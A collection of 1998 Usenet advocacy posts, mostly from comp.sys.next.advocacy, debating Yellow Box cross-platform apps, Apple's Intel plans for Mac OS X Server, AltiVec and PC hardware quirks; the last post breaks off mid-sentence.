The clear implication here is that there is parity between the
Mac-with-YB-based experience and the Windows-with-YB-based experience.
Whatever secondary factors may figure into your sense of the
"experience" are not germane to the discussion. If you want to refute
his implication that Mac sales would fall were YB to be universally
available, go ahead, but it is a separate issue.
> YB applications for Mac OS X look to the user like _MAC_OS_ applications.
> They do _NOT_ look or behave like Windows applications. YB apps for Mac OS
> take on the Mac OS interface.
I'm not sure I know what difference it makes. The context was *clearly*
within the hypothesis that the YB experience was the same on both
platforms. I think that that means that John doesn't see cute window
decorations as a major selling point. Perhaps you do, in which case I
counsel you to invest in a Windows box with Plus! themes and WinAmp
skins.
> Is it better to give developers incentive to develop more software for the
> Mac or to make it harder for developers to write Mac software so that fewer
> do? I say make it easier. The more software available for the Mac the
> better.
This has *nothing* to do with whether a MacOS version is available. In
fact, I suspect his point depends on equal availability. He is saying
that the only thing that will prevent a migration to Windows is an
absence of *Windows* versions of that "experience".
> What is one of the biggest complaints against the Mac? Relative lack of
> software! Would this tend towards eliminating that issue? Yes!
No, at this point I think that the biggest complaints are coming from
Mac users complaining about Windows, not from Windows users complaining
about the Mac.
Incidentally, with Rhapsody for Intel disappearing, how, exactly, will
developers be writing YB Windows apps and then porting them to the Mac?
All they'll have is the Yellow Box runtimes for Windows, which means
using a Windows compiler. I don't know of any Windows compilers that can
target MacOS (X) (perhaps CodeWarrior for Windows will?). In any case,
you've lost the benefit of the OPENSTEP development tools, and there's
much less compelling reason anymore to use YB in the first place.
> How in the world does limiting the software choices available for the Mac
> OS make for higher hardware sales? Your argument makes absolutely no sense
> to me.
I really hope that by now we've gotten past this part of the
misunderstanding.
[cut]
MJP
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Multiple Users (was: Worried about MacOS X)
Message-ID: <edewEztG0w.H4n@netcom.com>
Sender: edew@netcom4.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6ubqa6$b2n$1@nnrp1.dejanews.com> <edewEzsyFE.HLI@netcom.com> <6uegpe$8j4$1@nnrp1.dejanews.com>
Date: Fri, 25 Sep 1998 01:26:56 GMT
In article <6uegpe$8j4$1@nnrp1.dejanews.com> spagiola@my-dejanews.com writes:
>
>And the worst part is, that when you tell people the features of
>Rhapsody/MacOS X and try to explain why they should care, they end us
>thinking "So it's multitasking. Big deal. I've got that on my Windows system
>(it says so on the box) and it didn't do me any fat lot of good. So who cares
>about multitasking?"
It's like telling a model-T user about the benefits of electronic ignition,
automatic steering, transmission, and power brakes, and have them respond,
"Yeah, I have rubber tires, too...big deal."
Today, for the third time in two weeks, my keyboard on this blasted NT machine
I have at work became unresponsive.
Ordinarily, I would click (the mouse works) to close all apps and click to
reboot. But, today, a coworker suggested that I unplug the keyboard from the
back, wait 5 seconds, and plug back in. That did the trick.
THIS IS A PROFESSIONAL MACHINE? It's like saying, "After every thirty miles
or so, you might need to recrank the car to start it up again."
EDEW
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Sun, 27 Sep 1998 19:41:46 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net>
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In article <360ECFB0.340D9918@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Pulsar wrote:
>
> > > Let's do the math here. If Apple makes the YB runtime free for Windows,
> > > and makes the user experience just as nice for YB under Macintosh ... what
> > > happens to Mac sales?
> >
> > Umm you have missed the point entirely.
> >
> > Creating a YB app for Windows means that it is an almost trivial job to
> > make a YB version for the Mac. This means that an application that is built
> > for YB for Windows (which has a Windows interface) can be run on the Mac YB
> > through a simple recompile.
>
> Read what he said. It wasn't about YB apps being available for Windows
> and not for Macintosh. It was "if people can get the Mac experience on
> Windows, why buy Macs?" The whole point is that Apple is protecting
> sales of the Mac hardware nobody wants with the software they *do* want.
READ WHAT _I_ SAID!
YB applications for Windows look to the user like _WINDOWS_ applications.
They do _NOT_ look or behave like Mac OS applications. YB apps for Windows
take on the Windows interface.
YB applications for Mac OS X look to the user like _MAC_OS_ applications.
They do _NOT_ look or behave like Windows applications. YB apps for Mac OS
take on the Mac OS interface.
Is it better to give developers incentive to develop more software for the
Mac or to make it harder for developers to write Mac software so that fewer
do? I say make it easier. The more software available for the Mac the
better.
What is one of the biggest complaints against the Mac? Relative lack of
software! Would this tend towards eliminating that issue? Yes!
How in the world does limiting the software choices available for the Mac
OS make for higher hardware sales? Your argument makes absolutely no sense
to me.
> > Why would a developer compile a YB for Windows version and _not_ a YB for
> > Mac OS version as well? Can you think of any good reasons? Is it bad if
> > Apple makes it easier for a developer to support _both_ the Mac and Windows
> > markets?
>
> This is irrelevant to his point.
Obviously I'm just not understanding this point. If it is what I think it
is, it's utterly ridiculous. Could you explain please?
Ryan Tokarek
<pulsar@springnet1.com>
Date: Fri, 25 Sep 1998 15:31:33 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <christian.bau-2509981531330001@christian-mac.isltd.insignia.com>
References: <6ucl9d$19os$1@piglet.cc.uic.edu> <360a323c.2878639@nntp.service.ohio-state.edu> <6uea9d$1uru$2@piglet.cc.uic.edu> <joe.ragosta-2509980831060001@elk76.dol.net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <joe.ragosta-2509980831060001@elk76.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Some time ago on MacWeek or one of the other computer journals,
> > an IBM spokesman did say that if Apple really wanted to have
> > AltiVec support, that they would consider it.
>
> They'd have to _consider_ it. It will come down to how much performance
> gain AltiVec provides. If it provides a big enough speed gain (i.e. larger
> than copper and SOI), IBM will start losing sales to Motorola and will
> have to add AltiVec.
Not only then. AltiVec will add the same improvement to any processor, no
matter how fast or slow it is. So if for example Motorola builds a 400 MHz
AltiVec and IBM builds a 600 MHz non-AltiVec and both have the same speed,
IBM would surely want to add the performance gain of AltiVec on top of
having more MHz.
Date: Fri, 25 Sep 1998 17:51:39 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <christian.bau-2509981751390001@christian-mac.isltd.insignia.com>
References: <6ucl9d$19os$1@piglet.cc.uic.edu> <3609E6C6.6A20AFCE@nstar.net> <6uea73$1uru$1@piglet.cc.uic.edu> <christian.bau-2509981204380001@christian-mac.isltd.insignia.com> <360BBBA1.26EBE66D@nstar.net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <360BBBA1.26EBE66D@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Christian Bau wrote:
>
> > AltiVec is very useful for signal processing; that would probably be
> > useful for software modems. And it gives you low-cost 3D graphics and MPEG
> > video decoding. Probably not as fast as a high-end 3D card, but quite a
> > bit cheaper. For a Macintosh, it is definitely very useful.
>
> I'm at a loss to see the benefit of adding these highly specific
> functions to a CPU, considering the massive separate markets they
> currently enjoy in separate low-cost modems and separate low-cost
> (exandable) graphics chipsets.
As I wrote: Probably not as fast as a high-end 3D card, but quite a bit
cheaper. Less interaction with external hardware. Saves a PCI slot.
> I couldn't speak to the software modem
> issue, since I can't imagine a use for them in a desktop machine
You use a software modem exactly the same way as an external modem:
Connects to your phone line, and get on the Internet :-)
> but I
> will say that since there is no 3D roadmap for Apple one can hardly say
> that AltiVec will help the Macintosh in this area.
Huh?
> In any case, if it's important to put 3D instructions on the CPU it
> might be more effective to add actual 3D instructions and use a standard
> set that's industry supported; something like 3DNow!.
I think you really should read the manuals. I have got the Altivec manual
and the 3DNow! manual, and 3DNow! is a tiny subset of Altivec. And since
3DNow! seems to be quite good a 3D graphics, AltiVec should do really
well. (I dont have a manual for Katmai, only rumours. According to the
more recent rumours, it is a larger subset of AltiVec).
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Worried about MacOS X
Message-ID: <1998Sep24.150531.4349@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <36084CDA.E205A40C@trilithon.com>
Date: Thu, 24 Sep 1998 15:05:31 GMT
In article <36084CDA.E205A40C@trilithon.com> writes:
> Michael Humphries-Dolnick wrote:
>
[SNIP]
> * it's possible to be a NEXT User without ever learning a
> * think about Unix, BSD, Mach, or anything.
>
> * The only thing that kept NEXSTEP out of the consumer
> * market was pricetag, IMHO.
> This last item doesn't hold water. The pricing issue has been
> thrashed around forever, and the evidence doesn't support it.
> The Next system suffered badly from lack of applications [now
> don't everybody jump on me for that --- after all, I was
> developing for Next as well] and probably the killer was the
> marketing message of the month problem. That, and the early
> nonsense that they wouldn't sell to you if you weren't in their
> "target market segment".
Actually, I meant to include "marketing" as another reason why NS never
picked up in the consumer market, but then the only logical conclusion one
could draw from that (assuming that NEXT Software had competent marketing
staff) was that they didn't *want* to target that market, which I think
you answered.
Having started using NEXTSTEP at a job, where the company was a NS
developer, I didn't know about their target market segment restrictions,
we got it at developer prices anyway.
Still, I think that the $600 (developer / reseller price) to $1200 price
tag for 3.3 User was restrictive... how could evidence not support it?
Did NEXT ever even come close in price to some of the other OS's out
there?
I think they just didn't WANT to sell into that market, and so they priced
above that market to keep it out.
Again, IMHO, but a conversation I had with Stuart Kerr in Chicago pretty
much bore out that opinion, although he never said it outright to me.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: A prediction
Message-ID: <1998Sep24.145240.4128@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <6u9475$61t@news1.panix.com>
Date: Thu, 24 Sep 1998 14:52:40 GMT
In article <6u9475$61t@news1.panix.com> sal@panix.com (Sal Denaro) writes:
> On Tue, 22 Sep 1998 18:54:34 GMT, Eric Dew <edew@netcom.com> wrote:
> >>Techweb, CNET and Ziff Davis all have reported that the fastest area
> >>of growth has been in sub 1k machines.
> >So why is Dell no shipping the sub $1K machines?
>
> Dell doesn't have a consumer line. Can you name any company with a
consumer
> line that doesn't have a $1k machine?
Actually, Dell does. Until a few years ago, Dell didn't have a "business
line". Having been a "business" buyer of Dell's, here's a definition by
example:
Busuiness Line: Enterprise (scalable) computers available. High
availability (RAID) available. Network card included pre-installed. Lots
of memory standard.
Consumer Line: 3D graphics (except for CAD, which buys 3D for business).
Games included, pre-installed. 56K modems included, pre-installed. Less
memory pre-installed.
Finally, why would a company that doesn't have a "consumer line" advertise
so aggresively on TV?
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: klui@cup.hp.com (Ken Lui)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
Date: 28 Sep 1998 03:31:59 GMT
Organization: Hewlett-Packard Company
Message-ID: <6umvvf$si$1@ocean.cup.hp.com>
References: <360a5c3e.0@news.busprod.com> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10> <6um14j$m5n$1@camel29.mindspring.com>
In article <6um14j$m5n$1@camel29.mindspring.com>,
Doug Ivers <dliver@mindspring.com> wrote:
>Where do you guys read this stuff?? I do not mean this as a flame, I find
>the history of the PC interesting and would like to know where you dig this
>stuff up.
Bruce Horn and Jef Raskin had an exchange several years back and their
emails were posted throughout Usenet.
According to that series of exchanges, Jef's thesis was completed in 1967
and he didn't learn about Englebart's work until after his thesis was
finished.
Ken
--
Ken Lui 19111 Pruneridge Avenue M/S 47UW
klui@cup.hp.com Cupertino, CA 95014-0795 USA
Information Solutions & Services 1.408.447.3230 FAX 1.408.447.5929
Views within this message may not be those of the Hewlett-Packard Company
Message-ID: <360BDE30.8DCE947@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com>
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NNTP-Posting-Date: Fri, 25 Sep 1998 14:14:10 EDT
Date: Fri, 25 Sep 1998 11:17:20 -0700
Terry Sikes wrote:
<<<< Munch >>>>
* Apple's original plan was to offer Rhapsody (now MacOS X
* Server [MOSXS]) on Intel hardware was well as PowerPC
* indefinitely. They backed away from this, and are now
* (according to their official PR) offering the Intel version
* only for the first release (a sure way to marginalize and
* kill it).
<<<< Munch >>>>
Now something in this paragraph above makes no sense to me.
If Apple want to marginalise and kill Mac o'Sex for Intel,
why not both barrels right now? Why go to the trouble of
developing a system that they want to kill off? I mean,
that's the kind of dumb thing you see Sun doing. I know
Apple have done some plain silly things in the past, but
doing what you say would be so stupid a waste of resources
that it must be a philosophy instead of stupid.
I hope somebody at Apple [Mike?] could speak to this.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Multiple Users (was: Worried about MacOS X)
Date: Fri, 25 Sep 1998 12:09:45 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1dfwljf.7il2utf6yzoiN@phoenix99.wco.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com> <6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com> <6u7q79$f1j$1@schbbs.mot.com> <19980922105025.01295.00000008@ng79.aol.com> <6u961e$e9c$2@msunews.cl.msu.edu> <360831C3.D9DAC82F@trilithon.com> <edewEzpouz.4vC@netcom.com> <6ubqa6$b2n$1@nnrp1.dejanews.com> <edewEzsyFE.HLI@netcom.com> <6uegpe$8j4$1@nnrp1.dejanews.com> <edewEztG0w.H4n@netcom.com> <360B1DA8.44C63B1E@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> Eric Dew wrote:
>
> > Ordinarily, I would click (the mouse works) to close all apps and click
> > to reboot. But, today, a coworker suggested that I unplug the keyboard
> > from the back, wait 5 seconds, and plug back in. That did the trick.
>
> That would be a hardware problem.
This can also happen if the code controlling the keyboard interface
issues I/O operations on port 60-64 too close together. A delay of a
few hundred microseconds between reads does wonders to clear up this
flakiness. During startup, try setting up a 'calibration loop' to get
an idea of CPU speed in terms of loop iterations per real time clock
tick. You can then use this do construct a 'delay' function that can
wait a specified number of microseconds in a way that works on a wide
range of platforms.
Unplugging and reconnecting the keyboard resets the keyboard
microcontroller, which was wedged when a second command went over it's
serial bus before the first issued command was completed. (which begs
the question of why anyone would design a controller that permitted
this...)
The keyboard & PS/2 mouse controller is easily the most finicky bit of
hardware in most PCs in terms of programming and operation. It doesn't
even seem to matter who the ASIC/microcontroller vendor is. It's a
hardware problem, but sort of by design. (And don't get me started on
cascaded 8259s using EDGE-TRIGGERED interrupts. Ever wonder why
'interrupt' handlers need to POLL the PIC to be reliable?!??)
PC hardware...
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
Message-ID: <360F277D.598A1EBD@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10> <forrestDELETE-THIS!-2709982159000001@term2-27.simi.west.net> <360F2079.545ED5BB@trilithon.com> <360F247C.262C1279@nstar.net>
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NNTP-Posting-Date: Mon, 28 Sep 1998 02:03:39 EDT
Date: Sun, 27 Sep 1998 23:06:53 -0700
Michael Peck wrote:
* * Doug Englebart is credited with inventing the mouse
* * while at SRI.
* Pshoosh, that's nothing. What I want to know is who invented
* the joystick and the paddle? Way cooler... :-)
The Joystick and the Paddle? Michael, you obviously don't
live in San Francisco --- just take a walk around the Castro
some time . . .
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Sung Ho Kim" <sk68@cornell.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 25 Sep 1998 21:13:14 GMT
Organization: Cornell University
Sender: sk68@cornell.edu (Verified)
Message-ID: <01bde8c9$86900d60$4366ec84@bigred>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net>
> Forrest Cameranesi wrote in article...
> >Henry McGilton wrote:
> > If Apple want to marginalise and kill Mac o'Sex for Intel,
> > why not both barrels right now? Why go to the trouble of
>
> [SNIP]
>
> Because Apple promised that they would release Rhapsody (now Mac OS X
> Server) for PC hardware. They're not gonna go back on their promise and
> risk a lawsuit or the wrath of the general public, but they never said
> that they would CONTINUE to sell Rhapsody for PC hardware. So they
release
> one version, and no more. No broken promises.
>
Geez...now isn't that nice. Thanks apple... now isn't that the mark of a
trustworthy company...
> --
> -Forrest Cameranesi
Message-ID: <360F2BBC.E20F5649@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10> <forrestDELETE-THIS!-2709982159000001@term2-27.simi.west.net> <360F2079.545ED5BB@trilithon.com> <360F247C.262C1279@nstar.net> <360F277D.598A1EBD@trilithon.com>
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Date: Mon, 28 Sep 1998 01:25:00 -0500
NNTP-Posting-Date: Mon, 28 Sep 1998 02:26:10 EDT
Organization: ISPNews http://ispnews.com
Henry McGilton wrote:
> The Joystick and the Paddle? Michael, you obviously don't
> live in San Francisco --- just take a walk around the Castro
> some time . . .
Ha ha, yuck.
MJP
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 01:33:04 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net>
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In article <360EE09E.395F318B@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Pulsar wrote:
>
> > READ WHAT _I_ SAID!
>
> Look, Ryan, relax. I'm not attacking you or what you said. You're
> misunderstanding his point, and I will explain it if you like.
I don't think I was. What I wrote was relevant to the discussion. He made
some invalid assumptions which you seem to have continued using in your
arguments (and clarification of his arguments). I'll point them out. If I'm
still not getting something, please let me know.
> > YB applications for Windows look to the user like _WINDOWS_ applications.
> > They do _NOT_ look or behave like Mac OS applications. YB apps for Windows
> > take on the Windows interface.
>
> This isn't about the decorations on windows or the 3d bevels on widgets.
> People do not buy systems for these things. It's totally irrelevant to
> the conversation. The discussion of the "Mac experience", as well as I
> can guess (and I think that this is a good guess) revolves around the
> specific benefits of the Yellow Box. Yellow Box was the context; Yellow
> Box is the intent.
A YB application on Windows gains not only the surface look, but also much
of the feel. To the user, it is just another Windows application. I'm not
talking about putting the Mac experience on Windows. That is not what YB
does.
> I know that a lot of Mac users are hung up about how
> difficult-to-configure Windows PCs are. Forget about it. It's a
> non-issue. The discussion is over Yellow Box apps.
>
> Here is an example from John's post:
>
> > Let's do the math here. If Apple makes the YB runtime free for Windows,
> > and makes the user experience just as nice for YB under Macintosh ... what
> > happens to Mac sales?
>
> The clear implication here is that there is parity between the
> Mac-with-YB-based experience and the Windows-with-YB-based experience.
> Whatever secondary factors may figure into your sense of the
> "experience" are not germane to the discussion. If you want to refute
> his implication that Mac sales would fall were YB to be universally
> available, go ahead, but it is a separate issue.
We can discuss ifs all we want, but in this case, this if does not match
reality and isn't really useful as a hypothetical situation. The user
experience with a YB app on Windows is the Windows user experience. If you
want to maintain that the Windows experience is "just as nice" as the Mac's
then we will disagree.
I'm not saying that a YB app for Windows has all the Mac OS behavior with a
Windows look, I'm saying that a YB app for Windows to the user is just like
every other Windows app (though among multiple YB for Windows apps, I'd bet
there's more consistency than you would normally find between different
Windows apps).
> > YB applications for Mac OS X look to the user like _MAC_OS_ applications.
> > They do _NOT_ look or behave like Windows applications. YB apps for Mac OS
> > take on the Mac OS interface.
>
> I'm not sure I know what difference it makes. The context was *clearly*
> within the hypothesis that the YB experience was the same on both
> platforms.
And that hypothesis is wrong (AFAIK). The YB experience is _not_ the same
across different platforms.
> I think that that means that John doesn't see cute window
> decorations as a major selling point. Perhaps you do, in which case I
> counsel you to invest in a Windows box with Plus! themes and WinAmp
> skins.
That is _not_ what I'm talking about. It's not simply pasting Windows
widgets over equivalent Mac ones. It is changing the feel of the app to
match as best as possible the rest of Windows when compiled and run for YB
on Windows and for the Mac when compiled and run for YB there.
If you are arguing that pasting over widgets would make for this situation,
then fine, but how is that relevant to reality where that is not what's
going on?
> > Is it better to give developers incentive to develop more software for the
> > Mac or to make it harder for developers to write Mac software so that fewer
> > do? I say make it easier. The more software available for the Mac the
> > better.
>
> This has *nothing* to do with whether a MacOS version is available. In
> fact, I suspect his point depends on equal availability. He is saying
> that the only thing that will prevent a migration to Windows is an
> absence of *Windows* versions of that "experience".
Well, yeah. Where does that "experience" come from but the UI guidelines
for the OS? Remember that YB for Windows will produce applications that
look _and_behave_ like Windows applications. YB for Mac OS will produce
applications that look _and_behave_ like Mac OS applications. The user
experiences from the _same_code_base_ (different compilations and OS
platforms) will be different! If you take the Mac user experience to be
better, then YB apps for the Mac will be better than the Windows
compilations of those apps.
YB for Windows apps will be crippled compared to the Mac versions insofar
as they look and _feel_ just like other Windows applications. Once you
compile the YB for Windows version to YB for Mac OS, that same app gains
the Mac OS look and feel.
That's the big deal about having YB for other platforms. If it were just
the same user experience grafted on to the platforms it's available for, it
wouldn't be so useful. Having a YB implementation on a particular platform
means that YB apps compiled and run on that platform will look and behave
like all the other non-YB apps for that platform. Compile it and run it on
another platform and it will take on the look and feel of the non-YB apps
of this other platform.
> > What is one of the biggest complaints against the Mac? Relative lack of
> > software! Would this tend towards eliminating that issue? Yes!
>
> No, at this point I think that the biggest complaints are coming from
> Mac users complaining about Windows, not from Windows users complaining
> about the Mac.
Maybe in this newsgroup (csma), but ask people who are considering a new
computer 1) whether they are considering a Mac, and 2) if they aren't
considering a Mac, why. I suspect that one of the most often heard reasons
for not buying a Mac is lack of software. I hear it over and over (outside
this newsgroup). It is one of the platforms greatest problems (whether
merely a perception problem or a combination of that and reality).
> Incidentally, with Rhapsody for Intel disappearing, how, exactly, will
> developers be writing YB Windows apps and then porting them to the Mac?
> All they'll have is the Yellow Box runtimes for Windows, which means
> using a Windows compiler. I don't know of any Windows compilers that can
> target MacOS (X) (perhaps CodeWarrior for Windows will?). In any case,
> you've lost the benefit of the OPENSTEP development tools, and there's
> much less compelling reason anymore to use YB in the first place.
I think you have things wrong here. You don't compile a YB for Windows
application using a Windows compiler. There is (if I am not mistaken) a
development environment as part of YB for Windows (that wouldn't be
included in the run time only libraries... you'd get this as a developer).
Furthermore, you can develop your app on Mac OS X (Server) for PPC and
target Windows when you compile. You don't need to compile the Windows
version on Windows if you don't want to. I'll bet you can target Mac OS YB
for PPC from the Windows YB too.
In reality, I suspect that there would be some code change necessary, but
it's not much if any from all I hear about it.
BTW, this shouldn't be taken as a defense of Apple's decision to drop a Mac
OS X for Intel version. I am not happy with that decision, though I think I
understand why Apple made it.
Ryan Tokarek
<pulsar@springnet1.com>
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 25 Sep 1998 21:57:27 GMT
Organization: Net Squared, Inc.
Message-ID: <01bde8ce$a41330b0$06387880@chewy>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com>
> If Apple want to marginalise and kill Mac o'Sex for Intel,
> why not both barrels right now?
PURE SUPPOSITION:
o Experiment - if MacOS X for Intel does well, and it appears to grow
their market (as opposed to cannibalize Mac hardware sales), they may
continue the support in the future.
o Hedge their bets - While Apple is doing well touting the PowerPC over
the Intel architecture, the lack of large development investment by IBM
in the PowerPC may mean the PowerPC's best days are over.
o Apple will re-start cloning, but only on Intel chips. MacOS X for
Intel is an attempt to see if this could be a viable market and
convince potential cloners.
o Keep OpenStep developers - Apple may want to keep current
OpenStep/Mach/Intel developers happy on their current Intel hardware
investments.
o Transition NEXTSTEP users - Apple may want to encourage the few
remaining NEXTSTEP for Intel owners to at least try MacOS X on their
Intel boxes.
o Surprises in the works - Apple will announce the MacOS X environment
for Linux, Free/Net BSD as their long-term Intel support. MacOS X for
Intel is just a bridge until we get to that point.
Cheers,
Todd
Date: Fri, 25 Sep 1998 18:07:20 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <joe.ragosta-2509981807210001@elk51.dol.net>
References: <6ucl9d$19os$1@piglet.cc.uic.edu> <360a323c.2878639@nntp.service.ohio-state.edu> <6uea9d$1uru$2@piglet.cc.uic.edu> <joe.ragosta-2509980831060001@elk76.dol.net> <christian.bau-2509981531330001@christian-mac.isltd.insignia.com>
In article
<christian.bau-2509981531330001@christian-mac.isltd.insignia.com>,
christian.bau@isltd.insignia.com (Christian Bau) wrote:
> In article <joe.ragosta-2509980831060001@elk76.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > > Some time ago on MacWeek or one of the other computer journals,
> > > an IBM spokesman did say that if Apple really wanted to have
> > > AltiVec support, that they would consider it.
> >
> > They'd have to _consider_ it. It will come down to how much performance
> > gain AltiVec provides. If it provides a big enough speed gain (i.e. larger
> > than copper and SOI), IBM will start losing sales to Motorola and will
> > have to add AltiVec.
>
> Not only then. AltiVec will add the same improvement to any processor, no
> matter how fast or slow it is. So if for example Motorola builds a 400 MHz
> AltiVec and IBM builds a 600 MHz non-AltiVec and both have the same speed,
> IBM would surely want to add the performance gain of AltiVec on top of
> having more MHz.
If only it were so simple. Transistors aren't free. IBM would have to
consider the following as one option (there are many more, of course):
600 MHz w/o Altivec
